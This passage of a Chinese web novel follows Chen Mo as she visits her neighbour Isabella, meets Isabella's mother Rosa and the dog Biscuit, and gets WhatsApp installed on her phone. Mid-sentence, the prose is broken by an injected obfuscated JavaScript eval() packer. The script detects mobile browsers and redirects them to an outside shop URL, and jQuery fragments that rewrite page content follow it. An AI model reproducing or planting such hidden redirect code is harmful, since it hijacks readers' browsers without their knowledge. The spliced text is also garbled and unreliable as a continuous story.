两人并排走过便利店，往家的方向走。
伊莎贝拉一路走一路说话。她的话又多又碎，话题从刚才停车场那个安德烈斯有多烦人，跳到她今天美术课本来要交的一幅素描还没画完，又跳到Biscuit昨天半夜被一只浣熊吓得从狗窝里蹦起来撞翻了垃圾桶，偶尔夹一两个西班牙语单词，好像默认陈漠一定能听懂似的。
陈漠没什么回应，伊莎贝拉似乎也不需要回应，有人走在她旁边听她说就已经足够了。
走到她们住的那排房子前面时，伊莎贝拉先停下了脚步。那栋白墙蓝窗的房子在正午的太阳底下看起来很显眼，草坪刚修剪过，草茬平铺着。门廊的栏杆是新漆过的白色，台阶上放着一盆开得正盛的万寿菊，橘红色的花瓣在日光下亮得像一团小火。窗台上还有一盆吊兰，绿色的藤蔓从白色的花盆里垂下来，被风吹得轻轻晃动。
这栋房子和陈漠家那栋只隔了一条窄窄的车道和几丛矮灌木，打理的程度完全是两个世界。
伊莎贝拉推开白漆包铁皮的栅栏门，回头看了陈漠一眼，脸上露出一个理所当然的表情，“你站那干嘛？进来啊。”
陈漠双手插在口袋里。她抬起眼皮看了看那扇敞开的栅栏门，又看了看伊莎贝拉，嘴唇动了一下，拒绝的话刚到喉咙口。
伊莎贝拉在她没开口之前就又说话了，语气像是临时想起来似的，很随意，“Biscuit想你了。昨天你摸完她之后，她趴在门口等了一晚上，我拽都拽不回来。”她顿了一下，偏头看着陈漠，嘴角那个梨涡又浮了出来，“而且你回家不也是一个人吃饭？你爸妈这个时候又不在家。我家中午做的菜多了吃不完浪费，就是多了双筷子的事情，没多麻烦。”
她说到“没多麻烦”的时候，语气轻得像是真的只是顺手添一碗饭的事。
陈漠看了她一眼，没有动。她不太习惯别人对她好，对别人的善意她有一种本能般的警惕，总觉得那背后藏着什么她需要还的东西。
伊莎贝拉看陈漠还不动作，就走前门直接把那扇白色木框的纱门推开了，歪着头冲屋里喊了一声，用的是西班牙语，大概是“妈！我带朋友回来吃饭！”说完，她半个身子探进门里，一只脚踩着门槛，回头冲陈漠招了一下手，“你还等什么？等你家那栋房子的门廊自己飞过来接你？”
陈漠看着伊莎贝拉半个身子歪在门框上的样子，看着她那头卷发在阳光下泛着棕金色的光泽，看着她脸上毫无保留的好意。她发现伊莎贝拉这种人，你没办法用拒绝来对付她们，因为她们给你东西的时候根本没想过要你还。
手从口袋里抽出来，她走上前，踩上了伊莎贝拉家的第一级台阶。
门廊的木地板擦得很干净，踩上去发出闷闷的声响。
纱门合上。
陈漠站在伊莎贝拉家的客厅里，眼睛花了几秒来适应室内比外面暗一些的光线。
这个客厅比她家的大了将近一半。地板是深棕色的实木地板，上面铺着一块米色底红蓝花纹的编织地毯，图案是典型的拉丁美洲风格，几何纹样一层套一层。沙发是一套奶油色的布艺沙发，三加二的组合，靠垫鼓鼓囊囊的，其中一个上面绣着一只歪歪扭扭的鹦鹉。沙发对面的电视柜比她家的宽了两倍不止，上面摆着一台平板电视，电视旁边是一排相框，大大小小有十几个，照片里的人皮肤都是蜜棕色的，笑起来露出一排排白牙。窗帘是亮黄色的，被窗外的风吹得鼓起又落下。
墙上刷着暖调的奶油色漆，挂着一个木质的十字架，十字架上雕刻着繁复的花纹，耶稣的脚边刻着几朵玫瑰。十字架旁边还挂着一幅装裱好的织锦画，画面是一个色彩饱和度极高的市场场景，穿着传统服饰的女人头顶着水果篮。空气里弥漫着一股炖肉和某种香料的混合气味，咸香里带着一丝辛辣，还有一种像肉桂又不是肉桂的甜香，裹住了整个空间。
“?Mamá! ?Regresé con una amiga!”伊莎贝拉一边踢掉脚上的鞋，一边朝厨房的方向喊了一句，声音在这个宽敞的客厅里响得格外清脆。
伊莎贝拉的母亲从厨房门口探出头来。
那是一个和伊莎贝拉长得很像的中年女人，比伊莎贝拉丰腴，体形中等偏壮，肩膀圆润，穿着一件深红色的家居裙，裙子外面系着一条白色围裙。她的皮肤比伊莎贝拉更深一些，接近咖啡豆的颜色，一头卷发高高地盘在头顶，用一根木簪子固定住，几缕碎发贴在汗湿的额角上。她的五官和伊莎贝拉如出一辙，浓眉，深眼窝，丰满的嘴唇，但下颌线条更硬朗，眼角有细密的纹路，笑起来的时候那些纹路就挤在一起。
她看到陈漠的时候，眼睛亮了一下，露出了一个和伊莎贝拉一模一样的笑容，连梨涡的位置都一样，只不过她的更深，更明显。
“?Ah，tú debes ser Chen!”她用西班牙语说了一句，声音洪亮，说话的时候手里的锅铲搁在灶台上，在围裙上擦了擦手，大步走了过来。
走到陈漠面前，她没有任何停顿，直接伸出双手握住了陈漠的手腕，手心干燥有力，虎口带着常年在厨房里劳作磨出来的厚茧。
“Isabella habla de ti todo el tiempo。说你帮她打跑了那些欺负人的坏种，说你练泰拳，说你特别厉害。”她上下打量着陈漠，拇指在陈漠的手背上摩挲了一下，“哎呀，这么瘦！你爸妈是不是不给你吃饭？”她说完，自己先笑了，接着她用口音浓重但语法完整的英语说了一句：“Wee to our home， sweetheart。把这里当自己家，别客气。”
洛佩兹太太是一个会在打量你三秒后就能说出“你太瘦了多吃点”的人。
陈漠发现自己竟然紧张了一下。这种紧张跟她在街头面对挑衅时的冷静完全不同，跟她在拳场上面对对手时的专注也完全不同。她不太会应付这种毫无保留的善意，就好像她会的所有生存技巧在这种场合里都用不上。她站在那里，喉咙动了动，最后只是点头，低声说了句：“谢谢您，洛佩兹太太。”
伊莎贝拉的妈妈愣了一下，“叫我罗莎，别叫太太，叫太太让我觉得我已经七十岁了。”她松开陈漠的手腕，转身往厨房走，走了两步又回过头来，眉头皱起来，“十五分钟，十五分钟后吃饭。别站着了，伊莎贝拉，带你朋友去你房间坐坐。”
伊莎贝拉已经站在楼梯口等着了，她一只手撑着腰，另一只手往上指了指，冲陈漠扬了扬下巴，“走吧。”
陈漠走到楼梯前。
楼梯的墙壁上贴着浅色的条纹墙纸，转角处挂着一幅油画，画的是一棵孤零零地站在金色田野上的橄榄树。拾级而上，脚下的木质台阶，踩上去发出吱呀声。上到二楼，一条铺着浅色地毯的走廊在眼前展开，地毯踩上去软软的，能感觉到脚底的缓冲，墙上每隔几步就有一幅风景油画，海滩、日落、金色的田野。右手边第一个门开着，里面是一间卧室，窗帘半掩着，能看到一张铺着深蓝色床单的双人床和床头柜上放着的一副眼镜。隔壁的门关着，伊莎贝拉没有停留，直接推开了走廊尽头的最后一扇门。
“我的房间。”
她推开门，侧身让陈漠先进。
陈漠走进去，第一感觉是颜色。
伊莎贝拉的房间墙壁刷成了一种柔和的淡紫色，暮色刚刚降临时天空的颜色。窗户朝向街道，阳光从百叶窗的缝隙里漏进来，在地板上投下一排平行的光带。窗户下的暖气片盖子上铺着一块手工钩织的白色镂空垫，上面坐着一排大小不一的毛绒玩具，有熊，有兔子，还有一只看起来像是墨西哥市场里买的手工布娃娃，穿着彩色的裙子。床不大，是单人床，床上铺着白底碎花的床单，被子叠得整整齐齐，枕头上靠着一只棕色泰迪熊。
书桌靠墙放着，桌上堆着几本教科书和一个素描本，素描本的封面画着一只正在奔跑的狗，看轮廓应该是Biscuit。墙角竖着一个画架，画架上夹着一张还没完成的素描，画的也是Biscuit，不过这一幅更精细，金毛的毛发一根一根地画出来，眼睛的部分刚起了个轮廓，还没有画完。书桌旁边的墙上贴着很多东西，有她自己画的素描，有剪下来的杂志图片，有几张电影的海报，还有一面软木板，上面用彩色图钉钉满了照片。都是她的家人朋友，还有好几张是Biscuit从小到大的成长记录，从一只小得能捧在手心的金毛幼崽到如今毛发蓬松的大狗，时间跨度清晰可见。房间里有一股淡淡的香味，花果味，甜甜的但不腻。
陈漠见过伊莎贝拉很多次，在学校走廊擦肩而过的时候，在街角便利店偶遇的时候，在隔壁门廊倒垃圾的时候。但那个伊莎贝拉是校服版的，牛仔裤版的，便利店门口笑着挥手的，都是一个侧影或者一个片段。真正站到这个房间里，看到她画的素描，她小时候的照片，她床上那只泰迪熊，这些碎片突然就拼成了一个完整有体温的人，不再是隔壁那个拉美裔邻居，而是伊莎贝拉本人，活生生的，立体的，有颜色的。
伊莎贝拉把马尾辫的发圈扯下来，卷发散了一肩膀，她甩了甩头，让头发散得更自然些，一屁股坐到床沿上，盘起腿，拍了拍身边的位置，“坐啊，别光站着，你杵在那里像根电线杆。”
陈漠看了她一眼，走到她旁边，在床沿上坐了下来。床垫比她自己那张硬板床软得多，坐下去的时候整个人陷进去了一点。双手交叠放在膝盖上，她背脊微弯，目光平视着对面墙上那张还没完成的Biscuit素描。
厨房里的动静隔着走廊传过来，锅铲碰撞铁锅的声响，水流冲刷砧板的声音，罗莎哼着一首西班牙语的老歌，调子拖得长长短短的，像在自言自语又像在唱歌。Biscuit不知道从哪个角落里跑出来，爪子啪嗒啪嗒地踩着木地板一路跑到房门口，用鼻子顶开虚掩的门，先冲伊莎贝拉摇了摇尾巴，然后径直走向陈漠，脑袋搁在她膝盖上，伸出粉色的舌头舔了一下自己的鼻子。
陈漠的手自动抬起来，落在Biscuit的脑袋上，揉着它耳后的软毛，动作很慢。
伊莎贝拉歪着头看她，胳
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523278|203371||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
膊肘撑在膝盖上，手掌托着下巴，嘴角挂着一个说不清是满意还是好奇的笑。
她看了一会儿，忽然伸手从床头柜上拿过手机，最新款手机，外壳套着一个亮橙色的硅胶保护套，上面印着一只卡通化的金毛犬，咧嘴吐着舌头，跟Biscuit有几分神似。
手机屏幕干干净净，没有裂痕也没有划痕，她爸虽然人在东海岸，但每个月寄回来的支票从不断档，去年她生日的时候专门嘱咐罗莎给她换一部新的，说女儿大了，不能让她在同学面前拿不出手。
她单手划开屏幕，拇指在屏幕上点了几下，抬起头来看着陈漠。
“你Instagram是什么？”
“我没有。”
“你没有Instagram？”伊莎贝拉眨了眨眼睛，好像听到了什么不可思议的事情，“Facebook呢？Twitter？WhatsApp总该有吧？”
陈漠看了她一眼，那个表情大概能翻译成，你觉得呢。
伊莎贝拉张着嘴愣了两秒，然后噗地笑出声来，笑声又脆又响，把趴在她脚边的Biscuit吓得抬起了脑袋。
“天哪，你活在哪个年代？”她一边笑一边摇头，手指在屏幕上划拉，“我以为你只是不爱说话，没想到你连社交媒体都没有。那你平时跟别人怎么联系？打电话？”
“面对面。”陈漠说。
伊莎贝拉又笑了，这次笑得更厉害，整个人往后仰倒在床垫上，卷发散了一枕头，天花板上的灯光照在她脸上，把她深棕色的眼仁照得亮晶晶的。她笑够了之后翻身坐起来，盘腿坐在陈漠对面，表情严肃了一些。
“不行，这太离谱了。你等一下。”她重新拿起手机，打开应用商店，拇指在搜索栏里嗒嗒嗒地敲了几下，“WhatsApp，这个你必须得有。我们整条街都在用，我哥在公司跟客户联系都用这个。而且它可以发消息，可以打电话，只走WiFi不要钱。”
她说话的时候语速快得像连珠炮，手指的速度也不慢，下载、安装、注册，一套流程行云流水。她问到电话号码的时候，陈漠报了一串数字，那是陈国栋去年给她买的一部最便宜的预付费手机，平时塞在书包最底层，除了接丁哥的电话和给家里发短信之外几乎不用。
伊莎贝拉把号码输进去，手机上跳出一个绿色的验证码发送成功的提示。紧接着她从陈漠书包里翻出手机，一部黑乎乎毫不起眼的安卓机，外壳上什么装饰都没有，屏幕贴膜上全是划痕，三下两下帮她装好应用，注册了账号，把自己的号码存了进去。
“搞定。”手机递还给陈漠，她低头在自己的手机上点了几下。
黑乎乎的手机嗡地震动了一下，屏幕上弹出一条消息。
Isabella López：Hey
陈漠看着那条消息，屏幕上的字在日光灯下泛着冷白色的光。她抬起头，伊莎贝拉正跪坐在床沿上，双手捧着手机举在胸前，深棕色的眼睛从屏幕上方露出来，正盯着她看，表情里带着一种小孩子拆礼物时才会有的期待。
她低下头，拇指在键盘上慢慢敲了两下。
Chen：hi
伊莎贝拉看到消息弹出来的时候，脸上的笑容绽开得比刚才任何一次都大，直接举起手机对准自己，歪着头，嘴角挤出那个梨涡，另一只手绕到Biscuit的下巴底下把狗脸抬起来，按下了快门。
下一秒陈漠的手机又震了一下。一张照片，伊莎贝拉和Biscuit的合影，女孩的卷发和狗的金毛混在一起，背景是那面淡紫色的墙和画架上没完成的素描。
“现在你手机里有我的照片了，”伊莎贝拉把手机往床上一丢，双手撑着床垫，身体微微朝陈漠的方向倾过去，“以后要是在学校找不到我，就发消息。要是安德烈斯又来找麻烦，也发消息。要是你训练回来经过便利店肚子饿了……”她顿了顿，眼睛弯起来，“这个你就发不了消息了，直接敲门就行。”
陈漠看着手机屏幕上那张照片，沉默了两秒，按灭屏幕，手机塞回裤子口袋里。
“你为什么一定要跟我保持联系？”她问。
这句话问得很平，语气和表情都没有任何攻击性，但问题本身是直接的，直接到伊莎贝拉伸向Biscuit的手在空中停了一瞬。
伊莎贝拉低头挠了挠Biscuit的下巴，卷发垂下来挡住了半张脸。过了几秒她抬起头，把头发撩到耳后，看着陈漠，表情不像刚才那样嬉闹了，像是在想一个合适的说法。
“因为你跟这条街上的其他人不太一样。”
“哪里不一样？”
“说不上来。”伊莎贝拉的手指在Biscuit的背上画着圈，“就是……你看着像是什么都不怕，什么都不在乎，但昨天你蹲在地上摸Biscuit的时候，那个表情完全不是这么回事。”
她抬起眼睛看着陈漠，“我就是觉得，你大概需要有人跟你说话。不是找你打架，也不是找你送货，就是单纯地说说话。而我刚好话很多。”